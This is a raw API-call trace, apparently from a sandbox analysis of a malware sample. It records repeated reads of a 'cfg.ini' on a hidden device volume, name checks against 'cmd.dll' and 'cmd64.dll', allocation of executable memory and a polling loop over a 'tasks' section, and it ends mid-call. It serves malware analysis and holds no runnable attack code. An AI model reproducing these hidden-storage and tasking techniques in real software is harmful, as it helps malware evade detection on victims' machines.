[0128.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.536] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.536] IdePortDispatch () returned 0x103 [0128.536] KeWaitForMutexObject () returned 0x0 [0128.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.536] KeLeaveCriticalRegion () [0128.536] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.536] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.536] KeEnterCriticalRegion () [0128.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.536] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bc000 [0128.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.536] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.536] IdePortDispatch () returned 0x103 [0128.536] KeWaitForMutexObject () returned 0x0 [0128.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.536] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.536] IdePortDispatch () returned 0x103 [0128.537] KeWaitForMutexObject () returned 0x0 [0128.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.537] KeLeaveCriticalRegion () [0128.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.537] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.537] KeEnterCriticalRegion () [0128.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.537] KeLeaveCriticalRegion () [0128.537] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.537] KeEnterCriticalRegion () [0128.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.537] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.537] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.537] KeLeaveCriticalRegion () [0128.537] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.538] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.538] KeEnterCriticalRegion () [0128.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.538] ExFreePoolWithTag (P=0xfffffa80036495e0, Tag=0x0) [0128.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.538] KeLeaveCriticalRegion () [0128.538] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.538] ReleaseMutex (hMutex=0xf0) returned 1 [0128.538] Sleep (dwMilliseconds=0x927c0) [0128.552] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.552] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.552] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.552] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.552] KeEnterCriticalRegion () [0128.552] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.552] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.552] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.552] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.552] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.552] IdePortDispatch () returned 0x103 [0128.553] KeWaitForMutexObject () returned 0x0 [0128.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.553] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.553] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.553] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.553] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.553] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff1f0 [0128.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.553] KeLeaveCriticalRegion () [0128.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.553] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.553] KeEnterCriticalRegion () [0128.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.553] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.553] KeLeaveCriticalRegion () [0128.553] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.553] KeEnterCriticalRegion () [0128.553] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.553] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.553] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.553] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.553] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.553] IdePortDispatch () returned 0x103 [0128.553] KeWaitForMutexObject () returned 0x0 [0128.553] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.553] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.553] KeLeaveCriticalRegion () [0128.553] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.553] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.554] KeEnterCriticalRegion () [0128.554] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c1000 [0128.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.554] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.554] IdePortDispatch () returned 0x103 [0128.554] KeWaitForMutexObject () returned 0x0 [0128.554] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.554] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.554] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.554] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.554] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.554] IdePortDispatch () returned 0x103 [0128.554] KeWaitForMutexObject () returned 0x0 [0128.554] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.554] KeLeaveCriticalRegion () [0128.554] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.555] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.555] KeEnterCriticalRegion () [0128.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.555] KeLeaveCriticalRegion () [0128.555] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.555] KeEnterCriticalRegion () [0128.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.555] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.555] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649790, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.555] KeLeaveCriticalRegion () [0128.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.555] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.555] KeEnterCriticalRegion () [0128.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.555] ExFreePoolWithTag (P=0xfffffa8003bff1f0, Tag=0x0) [0128.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.555] KeLeaveCriticalRegion () [0128.555] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.555] ReleaseMutex (hMutex=0xf0) returned 1 [0128.555] Sleep (dwMilliseconds=0x927c0) [0128.569] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.569] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.570] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.570] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.570] KeEnterCriticalRegion () [0128.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.570] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.570] IdePortDispatch () returned 0x103 [0128.570] KeWaitForMutexObject () returned 0x0 [0128.570] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.570] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.570] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.570] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.570] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.570] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649630 [0128.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.570] KeLeaveCriticalRegion () [0128.570] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.570] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.570] KeEnterCriticalRegion () [0128.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.570] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.570] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.570] KeLeaveCriticalRegion () [0128.570] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.570] KeEnterCriticalRegion () [0128.570] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.570] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.570] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.570] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.570] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.570] IdePortDispatch () returned 0x103 [0128.570] KeWaitForMutexObject () returned 0x0 [0128.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.571] KeLeaveCriticalRegion () [0128.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.571] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.571] KeEnterCriticalRegion () [0128.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ca000 [0128.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.571] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.571] IdePortDispatch () returned 0x103 [0128.571] KeWaitForMutexObject () returned 0x0 [0128.571] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.571] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.571] IdePortDispatch () returned 0x103 [0128.571] KeWaitForMutexObject () returned 0x0 [0128.571] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.571] KeLeaveCriticalRegion () [0128.571] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.572] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.572] KeEnterCriticalRegion () [0128.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.572] KeLeaveCriticalRegion () [0128.572] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.572] KeEnterCriticalRegion () [0128.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.572] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.572] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.572] KeLeaveCriticalRegion () [0128.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.572] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.572] KeEnterCriticalRegion () [0128.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.572] ExFreePoolWithTag (P=0xfffffa8003649630, Tag=0x0) [0128.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.572] KeLeaveCriticalRegion () [0128.572] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.572] ReleaseMutex (hMutex=0xf0) returned 1 [0128.573] Sleep (dwMilliseconds=0x927c0) [0128.589] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.589] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.589] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.589] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.589] KeEnterCriticalRegion () [0128.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.589] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.589] IdePortDispatch () returned 0x103 [0128.589] KeWaitForMutexObject () returned 0x0 [0128.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.589] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.589] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.590] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.590] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.590] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff0e0 [0128.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.590] KeLeaveCriticalRegion () [0128.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.590] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.590] KeEnterCriticalRegion () [0128.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.590] KeLeaveCriticalRegion () [0128.590] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.590] KeEnterCriticalRegion () [0128.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.590] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.590] IdePortDispatch () returned 0x103 [0128.590] KeWaitForMutexObject () returned 0x0 [0128.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.590] KeLeaveCriticalRegion () [0128.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.590] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.590] KeEnterCriticalRegion () [0128.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.590] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cf000 [0128.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.590] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.590] IdePortDispatch () returned 0x103 [0128.590] KeWaitForMutexObject () returned 0x0 [0128.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.591] IoAllocateMdl (in: 